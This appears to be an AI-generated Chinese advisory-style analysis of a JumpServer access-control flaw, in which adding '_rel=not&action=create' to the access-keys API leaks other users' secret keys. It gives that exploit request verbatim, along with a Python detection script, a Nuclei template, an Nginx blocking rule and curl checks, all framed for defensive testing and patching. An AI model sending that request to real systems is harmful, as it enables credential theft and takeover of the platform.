结论先行
该漏洞是 JumpServer 中一处两缺陷叠加的越权读取:低权限已登录用户通过_rel=not反转查询条件,再通过action=create切换序列化器,可一次性获取全平台 Access Key 明文(含管理员与内部组件)。CVSS 8.8,利用门槛极低(仅需一个普通账号 + 一个 GET 请求),危害直接指向权限接管。官方已在 v3.10.23 LTS / v4.10.19 LTS 中修复。
一、漏洞定性
| 项 | 值 |
|---|---|
| 漏洞编号 | 暂无 CVE,社区编号 QVD-2026-65008 |
| 类型 | 访问控制不当 · 越权读取 |
| CVSS 3.1 | 8.8 高危(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 利用前置 | 任意已登录普通用户,无需资产授权,无需管理员权限 |
| 涉及接口 | /api/v1/authentication/access-keys/ |
| PoC 状态 | 已公开 |
官方安全通告确认,攻击者利用后可能获取其他用户或内部 JumpServer 组件的 Access Key 密钥;若该 Key 关联更高权限账户,影响随之放大。
二、缺陷链拆解
2.1 第一环:_rel=not反转整条 WHERE
JumpServer 通用列表视图挂载了NotOrRelFilterBackend。当请求携带_rel=not时,代码执行:
queryset.query.where.negated = True取反的对象是整条 WHERE 条件,而非请求附加的过滤片段。AccessKeyViewSet.get_queryset()原本返回self.request.user.access_keys.all(),归属约束写在 WHERE 中。取反后语义变为“排除当前用户的全部记录”,其他用户和内部组件的 Access Key 全部进入结果集。
2.2 第二环:action=create切换序列化器
列表与创建使用不同序列化器。AccessKeySerializer的字段不含secret;AccessKeyCreateSerializer额外包含secret(用于新建后回显一次明文)。序列化器选择逻辑原本为:
view_action = self.request.query_params.get('action') or self.action or 'list'请求参数action优先级高于服务端动作标识。列表请求带上action=create,接口即按“创建”挑选序列化器,明文secret随列表响应返回。
2.3 组合效果
一个 GET 请求即可完成:归属取反+字段越界。官方通告将此描述为“已应用于查询集的授权或所有权约束被一并反转”。
三、Python 验证 PoC(安全检测版)
以下脚本用于授权环境下的检测,通过比对正常请求与带参请求的响应字段差异来判断漏洞是否存在。不会遍历或导出敏感 Key。
#!/usr/bin/env python3 """ JumpServer Access Key 越权泄露检测(安全比对版) 用法: python jumpserver_ak_check.py https://jumpserver.example.com <普通用户Token> 仅限授权测试。脚本仅比对字段存在性,不输出 secret 内容。 """ import sys import requests import urllib3 urllib3.disable_warnings() BASE_PATH = "/api/v1/authentication/access-keys/" def detect(base, token): headers = {"Authorization": f"Bearer {token}"} base_url = base.rstrip("/") + BASE_PATH # 请求 1:正常列表 try: r_norm = requests.get(base_url, headers=headers, timeout=10, verify=False) except requests.RequestException as e: print(f"[-] 正常请求失败: {e}") return False if r_norm.status_code != 200: print(f"[-] 正常列表返回 {r_norm.status_code},无法继续(需有效普通用户 token)") return False # 请求 2:带 _rel=not 与 action=create try: r_exp = requests.get( f"{base_url}?_rel=not&action=create", headers=headers, timeout=10, verify=False ) except requests.RequestException as e: print(f"[-] 利用请求失败: {e}") return False def has_secret(resp): try: data = resp.json() except Exception: return False results = data if isinstance(data, list) else data.get("results", []) if not results: return False return any("secret" in item for item in results if isinstance(item, dict)) norm_has = has_secret(r_norm) exp_has = has_secret(r_exp) print(f"[*] 正常列表包含 secret 字段: {norm_has}") print(f"[*] 带参列表包含 secret 字段: {exp_has}") if exp_has and not norm_has: print("[!] 判定:存在 CVE/漏洞 特征——_rel=not + action=create 使 secret 字段泄露。") return True elif norm_has: print("[*] 正常列表已含 secret,目标可能不在受影响版本或配置特殊。") return False else: print("[+] 未检测到利用特征,目标可能已修复或参数被拦截。") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"用法: {sys.argv[0]} https://target <普通用户Token>") sys.exit(1) result = detect(sys.argv[1], sys.argv[2]) sys.exit(0 if result else 1)说明:脚本不打印任何secret值,仅判断字段是否存在。若返回“存在特征”,说明目标未修复且拦截规则未生效。
四、Nuclei 模板(安全比对版)
保存为jumpserver-ak-leak-detect.yaml。该模板需要用户提供有效普通 Token 作为变量,不内置任何凭证,仅做字段存在性比对。
id: jumpserver-ak-leak-detect info: name: JumpServer Access Key Leak - Safe Field Comparison author: security-research severity: high description: | JumpServer 3.7.0–3.10.22 / 4.0.0–4.10.18 存在 _rel=not + action=create 组合 导致的 Access Key secret 越权泄露。本模板仅比对字段存在性,不导出敏感值。 reference: - https://github.com/jumpserver/jumpserver/security/advisories/GHSA-6rp5-ff2m-qfrm - https://www.jumpserver.com/blog/jumpserver-vulnerability-advisory-2026-09-09 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cwe-id: CWE-863 tags: jumpserver,accesskey,leak,authenticated http: - raw: # 正常列表(预期无 secret) - | GET /api/v1/authentication/access-keys/ HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} # 利用请求(预期出现 secret) - | GET /api/v1/authentication/access-keys/?_rel=not&action=create HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} matchers-condition: and matchers: - type: dsl dsl: - "status_code_1 == 200" - "status_code_2 == 200" - "!contains(body_1, '\"secret\"')" - "contains(body_2, '\"secret\"')" condition: and extractors: - type: kval name: result kval: - "body_2"运行方式:
nuclei -t jumpserver-ak-leak-detect.yaml \ -u https://target \ -var token=<普通用户Token>关键约束:模板依赖-var token=传入一个有效普通用户 Token。没有 Token 则无法检测(漏洞本身要求已登录)。extractors仅提取响应体用于人工复核,不自动解析或输出 secret 字段值。
五、临时缓解(Nginx 拦截)
官方提供的 Nginx 规则同时覆盖明文与 URL 编码形式:
location / { if ($args ~* "(^|&)(_|%5f)(r|%72)(e|%65)(l|%6c)=") { return 400; } # 原有配置... }验证命令(修复后预期均返回 400):
curl -sk -o /dev/null -w '%{http_code}\n' 'http://<target>/api/v1/users/users/?_rel=not' curl -sk -o /dev/null -w '%{http_code}\n' 'http://<target>/api/v1/users/users/?%5Frel=not'官方明确提示:该规则会拒绝所有携带_rel参数的请求,可能影响合法依赖此过滤器的功能,应视为临时措施,尽快升级。
六、修复与善后
首选:升级至v3.10.23 LTS或v4.10.19 LTS。修复内容为删除NotOrRelFilterBackend,并将序列化器选择改为仅依赖服务端self.action。
若怀疑已遭利用:官方建议轮换所有用户账号与内部组件的 Access Key。泄露的 Key 是长效凭证,攻击者可在修复后继续使用,仅升级不轮换等于未处置。
本回答由 AI 生成,内容仅供参考,请仔细甄别